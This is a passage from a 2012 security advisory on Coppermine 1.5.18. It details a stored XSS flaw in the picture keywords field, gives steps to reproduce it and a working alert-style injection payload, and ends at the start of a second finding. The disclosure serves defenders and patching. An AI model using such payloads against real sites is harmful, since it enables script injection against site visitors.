[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18 ============================================================================== Author: Janek Vind "waraxe" Date: 29. March 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-81.html Affected Software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. http://coppermine-gallery.net/ Affected versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tests were conducted against Coppermine version 1.5.18. ############################################################################### 1. Stored XSS in picture keywords ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Preconditions: privileges needed for picture keywords editing Coppermine user with appropriate privileges is able to modify picture information: http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture There is a field in form named as "Keywords (separate with semicolon)". After insertion to database those keywords are later used in html meta section. It appears, that specific user supplied data is not properly validated before outputting as html to the end user, resulting in Stored XSS vulnerability. Testing: 1. Open picture information editing page: http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture 2. Insert XSS payload below as keywords and click "Apply changes": "><body onload=javascript:alert(String.fromCharCode(88,83,83))> After that issue request to view this image: http://localhost/cpg1518/displayimage.php?pid=1 As result we can observe XSS payload execution. ############################################################################### 2.
